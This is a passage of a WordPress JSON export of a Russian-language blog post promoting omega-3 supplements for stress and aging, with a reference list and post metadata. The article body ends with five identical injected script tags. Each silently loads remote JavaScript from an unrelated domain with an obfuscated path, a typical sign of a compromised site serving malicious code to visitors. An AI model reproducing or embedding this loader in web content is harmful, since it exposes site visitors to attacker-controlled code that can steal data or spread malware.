\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0442\u0435\u043b\u043e\u043c\u0435\u0440\u0430\u0437\u044b, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0445\u0440\u043e\u043c\u043e\u0441\u043e\u043c \u0432 \u043a\u043b\u0435\u0442\u043a\u0435, \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0447\u0435\u043c\u0443 \u0436\u0438\u0437\u043d\u044c \u043a\u043b\u0435\u0442\u043a\u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0434\u043b\u0435\u0432\u0430\u0435\u0442\u0441\u044f;<\/p>\n\n\n\n<p>\u2461 \u0421\u043d\u0438\u0436\u0430\u044e\u0442 \u0441\u0435\u043a\u0440\u0435\u0446\u0438\u044e \u0433\u043e\u0440\u043c\u043e\u043d\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u043c, \u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0442 \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e-\u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430;<\/p>\n\n\n\n<p>\u2462 \u0421\u043d\u0438\u0436\u0430\u044e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u043b\u0435\u0439\u043a\u0438\u043d\u0430 6, \u0447\u0442\u043e\u0431\u044b \u0431\u043e\u0440\u043e\u0442\u044c\u0441\u044f \u0441 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u0435\u043c \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435.<\/p>\n\n\n\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u043f\u0440\u0438\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u041e\u043c\u0435\u0433\u0430-3 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u0432\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043d\u0430 \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430 \u0438 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0440\u0435\u043d\u0438\u044f, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0430\u0434\u043e\u043c \u0445\u0440\u043e\u043c\u043e\u0441\u043e\u043c \u0438 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u0435\u043c, \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u043d\u044b\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0431\u043e\u043b\u0435\u0437\u043d\u0438 \u0441\u0435\u0440\u0434\u0446\u0430, \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0438 \u043c\u0435\u0442\u0430\u0431\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f. \u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u041e\u043c\u0435\u0433\u0430-3, \u0434\u043b\u044f \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044f \u0438 \u0434\u043e\u043b\u0433\u043e\u043b\u0435\u0442\u0438\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e, \u043d\u043e \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0445 \u0441\u0438\u043d\u0442\u0435\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f.<\/p>\n\n\n\n<p>\u0421\u0441\u044b\u043b\u043a\u0430<\/p>\n\n\n\n<p>[1]Horvath S, Erhart W, Brosch M, Ammerpohl O, von Sch\u00f6nfels W,Ahrens M, et al. Obesity accelerates epigenetic aging of human liver. Proc Natl Acad Sci. 2014;111:15538-43.<\/p>\n\n\n\n<p>[2]MadisonAA,BeluryMA,AndridgeR,etal.Omega3supplementationandstressreactivityofcellularagingbiomarkers:anancillarysubstudyofarandomized,controlledtrialinmidlifeadults[publishedonlineaheadofprint,2021Apr20].MolPsychiatry.2021;10.1038\/s41380-021-01077-2.<\/p>\n\n\n\n<p>[3] Turner AI, Smyth N, Hall SJ, Torres SJ, Hussein M, Jayasinghe SU, et al. Psychological stress reactivity and future health and diseaseoutcomes: asystematicreviewofprospectiveevidence.Psychoneuroendocrinology.2020;114:104599.<\/p>\n\n\n\n<p>[4] Kiecolt-Glaser JK, Renna ME, Shrout MR, Madison AA. \u0420\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0441\u0442\u0440\u0435\u0441\u0441: \u0447\u0442\u043e \u0442\u043e\u043b\u043a\u0430\u0435\u0442 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435, \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u0438 \u0434\u043e\u043b\u044c\u0448\u0435 - \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435. Curr Dir Psychol Sci. 2020;29:492-8].<\/p>\n\n\n\n<p>[5]Aschbacher K, Epel E, Wolkowitz O, Prather A, Puterman E, Dhabhar F. \u0421\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0441\u0442\u0440\u043e\u0433\u043e \u0441\u0442\u0440\u0435\u0441\u0441\u0430 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 \u043f\u0440\u043e\u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0434\u0435\u043f\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u043e\u0432. Brain Behav Immun. 2012;26:346-52.]<\/p>\n\n\n\n<p>[6] Epel ES, Lin J, Dhabhar FS, Wolkowitz OM, Puterman E, Karan L, et al. Dynamics of telomerase activity in response to acute psychological stress. Brain Behav Immun. 2010;24:531-9.<\/p>\n\n\n\n<p>[7]Codd V, Nelson CP, Albrecht E, Mangino M, Deelen J, Buxton JL, et al. Identification of seven loci affecting mean telomere length and their association with disease. Nat Genet. 2013;45:422-7.<\/p>\n\n\n\n<p>[8]Kiecolt-Glaser JK, Epel ES, Belury MA, Andridge R, Lin J, Glaser R, et al. Omega-3 fatty acids, oxidative stress, and leukocyte telomere length: a randomized controlled trial. Brain Behav Immun. 2013;28:16-24.<\/p>\n\n\n\n<p>Backvita<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>In a paper published in Molecular Psychiatry, a team of Janice K. Kiecolt-Glaser researchers at the Columbus Institute of Behavioral Medicine at the Ohio State University College of Medicine found that; Four months of omega-3 supplementation in middle-aged adults reduces cortisol and inflammation levels, increases telomerase and anti-inflammatory factor levels, reduces stress-mediated cellular aging, and [&hellip;]<\/p>","protected":false},"author":1,"featured_media":4152,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"Omega-3 reduce stress and fight aging","_seopress_titles_desc":"Previous studies have found that people with higher blood levels of omega-3 fatty acids tend to have longer telomeres. Consider that supplementation with omega-3 can reduce the body\u2019s underlying inflammation and oxidative stress levels.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp",794,398,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-300x150.webp",300,150,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-768x385.webp",768,385,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp",794,398,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp",794,398,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp",794,398,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp",18,9,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-600x301.webp",600,301,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>In a paper published in Molecular Psychiatry, a team of Janice K. Kiecolt-Glaser researchers at the Columbus Institute of Behavioral Medicine at the Ohio State University College of Medicine found that; Four months of omega-3 supplementation in middle-aged adults reduces cortisol and inflammation levels, increases telomerase and anti-inflammatory factor levels, reduces stress-mediated cellular aging, and may help fight aging and prevent depression. The study involved people at high risk for accelerated aging \u2013 sedentary and overweight middle-aged people. Dysregulation of physiological stress response is a risk factor for many physical and mental diseases. Acute stress is usually accompanied by elevated&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ru\/category\/\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435-\u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ru\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/7404"}],"collection":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/comments?post=7404"}],"version-history":[{"count":6,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/7404\/revisions"}],"predecessor-version":[{"id":9776,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/7404\/revisions\/9776"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media\/4152"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media?parent=7404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/categories?post=7404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/tags?post=7404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}